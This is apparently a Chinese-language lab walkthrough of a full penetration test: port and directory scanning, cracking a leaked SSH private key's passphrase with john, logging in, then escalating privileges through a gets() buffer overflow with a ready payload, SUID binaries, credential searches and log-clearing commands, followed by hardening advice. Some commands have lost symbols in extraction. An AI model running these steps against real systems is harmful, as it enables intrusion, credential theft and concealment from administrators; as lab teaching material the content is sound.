
SSH私钥泄露实战从破解到提权的完整攻防解析1. 靶场环境搭建与信息收集在开始渗透测试之前确保攻击机如Kali Linux与靶机处于同一网络环境是基本前提。通过简单的网络扫描可以快速定位靶机IP# 扫描当前网段存活主机 nmap -sn 192.168.1.0/24 # 针对特定IP进行详细端口扫描 nmap -sS -A -p- 192.168.1.105典型扫描结果分析Nmap scan report for 192.168.1.105 Host is up (0.045s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10 80/tcp open http Apache httpd 2.4.38 31337/tcp open tcpwrapped注意实际渗透测试中31337等非常规端口往往隐藏着关键服务需要特别关注。2. Web目录扫描与敏感文件发现使用dirb等工具对Web服务进行目录扫描是发现敏感信息的有效手段dirb http://192.168.1.105:80 -X .php,.txt,.bak dirb http://192.168.1.105:31337 -X .sh,.history关键发现流程在80端口发现标准nginx页面无有价值信息31337端口扫描结果 http://192.168.1.105:31337/.ssh/ (CODE:403|SIZE:199) http://192.168.1.105:31337/bash_history (CODE:200|SIZE:1284) http://192.168.1.105:31337/id_rsa (CODE:200|SIZE:1879)3. SSH私钥处理与密码破解获取到的id_rsa文件通常需要以下处理步骤3.1 私钥权限设置chmod 600 id_rsa # 确保私钥文件权限正确3.2 密码破解流程# 转换私钥为john可识别格式 ssh2john id_rsa id_rsa.hash # 使用john进行暴力破解 john --wordlist/usr/share/wordlists/rockyou.txt id_rsa.hash破解结果示例Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Press q or Ctrl-C to abort, almost any other key for status starwars (id_rsa)4. SSH免密登录实战操作成功获取私钥密码后可通过以下方式建立连接ssh -i id_rsa simon192.168.1.105连接过程常见问题处理错误提示解决方案Permissions 0644 are too open执行chmod 600 id_rsaBad passphrase确认密码破解结果是否正确Connection refused检查目标SSH服务是否运行重要提示首次连接时会提示验证主机指纹务必确认指纹真实性以避免中间人攻击。5. 提权路径分析与技术实现成功登录后通过系统信息收集寻找提权机会# 查看当前用户权限 id # 检查sudo权限 sudo -l # 查找SUID文件 find / -perm -4000 -type f 2/dev/null典型提权场景处理5.1 缓冲区溢出提权当发现具有root权限的可执行文件时// read_message.c漏洞分析 #include stdio.h #include string.h int main() { char buf[20]; printf(Enter your message: ); gets(buf); // 危险函数无长度检查 if(strncmp(buf, simon, 5) 0) { system(/bin/sh); } return 0; }利用方式(python -c print simon A*15 \xef\xbe\xad\xde; cat) | ./read_message5.2 SUID提权发现异常SUID文件时的处理流程使用find / -perm -4000列出所有SUID文件检查非常规程序的SUID设置如nmap、vim等参考GTFOBinshttps://gtfobins.github.io/寻找利用方式6. 安全防护建议与加固措施针对SSH私钥泄露风险建议采取以下防护措施管理员防护方案禁用服务器上的.htaccess文件限制.ssh目录的Web访问权限定期检查服务器上的异常文件使用强密码保护SSH私钥开发者注意事项# 安全示例生成高强度密钥对 ssh-keygen -t ed25519 -a 100 -f ~/.ssh/prod_key # 安全配置示例/etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no AllowUsers deploy_user7. 渗透测试中的深度技巧高级信息收集命令# 检查计划任务 cat /etc/crontab ls -la /etc/cron.* # 检查可写目录 find / -writable -type d 2/dev/null # 检查环境变量 env | grep -i pass日志清除技巧仅限授权测试# 清除当前用户相关日志 cat /dev/null ~/.bash_history history -c在真实的渗透测试项目中每个步骤都需要详细记录并形成报告。本文所述技术仅限合法授权测试使用未经授权的测试可能违反法律法规。